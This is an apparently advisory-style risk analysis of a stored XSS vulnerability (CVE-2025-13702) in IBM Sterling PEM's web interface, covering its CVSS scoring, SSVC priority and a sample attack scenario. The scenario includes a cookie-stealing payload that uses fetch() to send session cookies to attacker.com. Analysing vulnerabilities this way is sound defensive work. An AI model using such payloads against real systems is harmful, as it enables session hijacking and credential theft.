IBM CVE-2025-13702

CVSS 6.1 (Medium) with network-based attack vector, low complexity, and no privilege requirement reflects moderate severity; however, the CVSS vector (PR:N negated by AV:N/AC:L) is contradictory—the description states 'authenticated user,' implying PR:L or PR:H should apply. The UI:R (user interaction required) and S:C (scope changed) components are appropriate for XSS. Real-world risk is elevated above the CVSS score due to: (1) authentication requirement providing some friction but not eliminating insider threat or compromised-credential scenarios; (2) potential for credential harvesting in trusted sessions (confidentiality impact—C:L confirmed); (3) functional alteration capability (integrity impact—I:L confirmed). Without explicit KEV or EPSS data provided, assume moderate exploitability given the straightforward nature of XSS attacks and the wide availability of payloads. The availability of a vendor patch reduces urgency slightly but does not mitigate pre-patch risk. SSVC perspective: exploitation is possible (XSS is trivial to weaponize), automatable (JavaScript injection), and technical impact is high (session compromise, credential theft). Priority should be elevated for organizations using Sterling PEM in production B2B environments.

An authenticated user (or attacker with compromised credentials) logs into the Sterling PEM Web UI and identifies an input field (e.g., comment, supplier name, document field) that does not properly validate/encode output. The attacker injects a payload such as: <img src=x onerror='fetch("https://attacker.com/steal?cookie="+document.cookie)'>. When another user (e.g., administrator) views the injected content, the JavaScript executes in their browser under the PEM session context, transmitting their session cookie or other sensitive data to the attacker's server. Alternatively, the attacker modifies displayed transaction data or embeds a credential-harvesting form overlay to phish additional credentials. The attack requires UI interaction (victim must navigate to the vulnerable page) but no elevated privileges. In a B2B context where PEM manages sensitive supplier data and transactions, this can lead to unauthorized access, data theft, or fraudulent transaction modification.